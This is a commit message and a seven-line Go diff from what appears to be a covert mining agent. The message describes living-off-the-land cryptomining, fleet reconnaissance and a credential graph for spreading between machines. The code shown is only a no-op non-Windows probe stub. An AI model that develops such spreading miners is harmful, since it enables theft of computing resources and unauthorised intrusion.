Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/tier_webview2_probe_stub.go

@@ -0,0 +1,7 @@
+//go:build !windows
+
+package miner
+
+func platformWebView2Probe() WebView2ProbeResult {
+	return WebView2ProbeResult{ProbeOnly: true}
+}